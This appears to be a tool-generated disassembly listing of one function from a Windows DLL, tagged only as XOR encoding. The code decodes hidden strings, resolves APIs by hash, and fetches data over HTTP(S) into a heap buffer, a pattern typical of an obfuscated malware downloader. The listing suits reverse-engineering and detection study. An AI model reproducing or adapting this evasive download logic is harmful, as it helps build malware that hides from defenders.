Function at 0x180001784
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x40]
sub rsp, 0x140
movups xmm0, xmmword [str._T__QY]
xor r12d, r12d
movzx eax, word [0x180002118]
movsd xmm1, qword [0x180002110]
mov rbx, r8
movups xmmword [rbp - 0x80], xmm0
mov esi, r9d
mov r14, rcx
movsd qword [rbp - 0x70], xmm1
lea r8, [rbp - 0x80]
mov word [rbp - 0x68], ax
mov edi, r12d
mov r15d, 0x1f7047dd
mov eax, r15d
mul edi
mov eax, edi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movzx eax, ax
imul ecx, eax, 0x39
movzx eax, di
inc edi
sub ax, cx
add ax, 0x30
xor word [r8], ax
lea r8, [r8 + 2]
cmp edi, 0xd
jl 0x1800017e1
lea rcx, [rbp - 0x80]
call fcn.180001154
mov r8, rax
lea rdi, [rbp - 0x80]
movzx eax, r12w
mov ecx, 0xd
rep stosw word [rdi], ax
mov rcx, r8
mov edx, 0x470fca41
call section..text
cmp word [0x180002136], r12w
mov r13, rax
movups xmm0, xmmword [str.GXZZPB]
movsd xmm1, qword [str.UV_]
movups xmmword [rbp - 0x60], xmm0
movsd qword [rbp - 0x50], xmm1
je 0x180001894
mov edi, r12d
lea r8, [rbp - 0x60]
mov eax, r15d
mul edi
mov eax, edi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movzx eax, ax
imul ecx, eax, 0x39
movzx eax, di
inc edi
sub ax, cx
add ax, 0x30
xor word [r8], ax
lea r8, [r8 + 2]
cmp edi, 0xc
jl 0x180001865
lea rcx, [rbp - 0x60]
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov qword [rsp + 0x78], rax
lea rdi, [rbp - 0x60]
mov r15, rax
mov ecx, 0xc
movzx eax, r12w
mov edx, 0x74b30200
rep stosw word [rdi], ax
mov rcx, r15
call section..text
mov edx, 0xd1ef6a58
mov qword [rbp + 0x90], rax
mov rcx, r15
call section..text
mov edx, 0x7e98c2e0
mov qword [rsp + 0x50], rax
mov rcx, r15
call section..text
mov edx, 0x1154d3b3
mov qword [rsp + 0x48], rax
mov rcx, r15
call section..text
mov edx, 0x1eed1eb8
mov qword [rsp + 0x40], rax
mov rcx, r15
call section..text
mov edx, 0x369efffe
mov qword [rsp + 0x60], rax
mov rcx, r15
call section..text
mov edx, 0x88eb97a9
mov qword [rsp + 0x68], rax
mov rcx, r15
call section..text
mov edx, 0x3f4c9b8f
mov qword [rsp + 0x70], rax
mov rcx, r15
call section..text
and qword [rbx], 0
mov r12, rax
call r13
xor edx, edx
mov qword [rsp + 0x58], rax
mov rcx, rax
lea r8d, [rdx + 1]
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
movaps xmm0, xmmword [str.HZXYW]
lea r9, [rbp - 0x40]
movaps xmm1, xmmword [0x180002150]
mov r13, rax
mov eax, dword [0x1800021b8]
xor edi, edi
movaps xmmword [rbp - 0x40], xmm0
movaps xmm0, xmmword [0x180002160]
movaps xmmword [rbp - 0x30], xmm1
movaps xmm1, xmmword [0x180002170]
movaps xmmword [rbp - 0x20], xmm0
movaps xmm0, xmmword [0x180002180]
movaps xmmword [rbp - 0x10], xmm1
movaps xmm1, xmmword [0x180002190]
mov dword [rbp + 0x38], eax
movzx eax, word [0x1800021bc]
movaps xmmword [rbp], xmm0
movaps xmm0, xmmword [0x1800021a0]
movaps xmmword [rbp + 0x10], xmm1
movsd xmm1, qword [0x1800021b0]
mov word [rbp + 0x3c], ax
mov al, byte [0x1800021be]
movaps xmmword [rbp + 0x20], xmm0
movsd qword [rbp + 0x30], xmm1
mov byte [rbp + 0x3e], al
mov eax, 0x1f7047dd
mul edi
mov eax, edi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x39
mov al, dil
inc edi
sub al, cl
add al, 0x30
xor byte [r9], al
inc r9
cmp edi, 0x7f
jl 0x1800019e1
xor edi, edi
lea rcx, [rbp - 0x40]
xor r9d, r9d
mov dword [rsp + 0x20], edi
xor r8d, r8d
xor edx, edx
call qword [rbp + 0x90]
xor edx, edx
lea r8d, [rdi + 0x7f]
lea rcx, [rbp - 0x40]
mov r15, rax
call fcn.180001438
test r15, r15
je 0x180001c2b
mov qword [rsp + 0x38], 1
mov ecx, esi
neg ecx
mov dword [rsp + 0x30], edi
mov dword [rsp + 0x28], 3
mov rdx, r14
sbb r8w, r8w
mov qword [rsp + 0x20], rdi
and r8w, 0x16b
xor r9d, r9d
add r8w, 0x50
mov rcx, r15
call qword [rsp + 0x50]
mov r14, rax
test rax, rax
je 0x180001c25
mov ecx, dword [str.wtf3]
neg esi
mov dword [rbp + 0x90], ecx
sbb r8d, r8d
xor esi, esi
and r8d, 0x800000
add r8d, 0x80480000
cmp byte [0x1800021c3], sil
je 0x180001ae3
lea r9, [rbp + 0x90]
mov eax, 0x1f7047dd
mul edi
mov eax, edi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x39
mov al, dil
inc edi
sub al, cl
add al, 0x30
xor byte [r9], al
inc r9
cmp edi, 4
jl 0x180001ab7
mov qword [rsp + 0x38], 1
lea rdx, [rbp + 0x90]
mov dword [rsp + 0x30], r8d
xor r9d, r9d
mov r8, qword [rbp + 0x88]
mov rcx, r14
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], rsi
call qword [rsp + 0x48]
mov r9d, 4
mov dword [rbp + 0x90], esi
lea r8, [rsp + 0x50]
mov dword [rsp + 0x50], 0x1100
mov rcx, rax
mov rdi, rax
lea edx, [r9 + 0x1b]
call qword [rsp + 0x40]
test eax, eax
je 0x180001c1f
test rdi, rdi
je 0x180001c1f
xor r9d, r9d
mov dword [rsp + 0x20], esi
xor r8d, r8d
xor edx, edx
mov rcx, rdi
call qword [rsp + 0x60]
test eax, eax
je 0x180001c19
mov rcx, qword [rsp + 0x58]
xor edx, edx
mov r8d, 0x1fa0
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rsi, rax
test rax, rax
je 0x180001c19
xor edx, edx
mov r8d, 0x1fa0
mov rcx, rsi
call fcn.180001438
xor r9d, r9d
lea rdx, [rsp + 0x48]
xor r8d, r8d
mov rcx, rdi
call qword [rsp + 0x68]
mov r8d, dword [rsp + 0x48]
lea r9, [rsp + 0x40]
mov eax, 0x1fa0
mov rdx, rsi
cmp r8d, eax
mov rcx, rdi
cmova r8d, eax
mov dword [rsp + 0x48], r8d
call qword [rsp + 0x70]
test eax, eax
je 0x180001c19
mov eax, dword [rsp + 0x40]
test eax, eax
je 0x180001c19
mov rcx, qword [rsp + 0x58]
mov r9d, eax
add r9, qword [rbx]
mov r8, r13
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapReAlloc]
test rax, rax
je 0x180001c15
mov rcx, qword [rbx]
mov rdx, rsi
mov r8d, dword [rsp + 0x40]
add rcx, rax
mov r13, rax
call fcn.1800013e4
mov eax, dword [rsp + 0x40]
add qword [rbx], rax
jmp 0x180001b85
and qword [rbx], 0
mov rcx, rdi
call r12
mov rcx, r14
call r12
mov rcx, r15
call r12
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rbx, qword [rsp + 0x180]
mov rax, r13
add rsp, 0x140
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret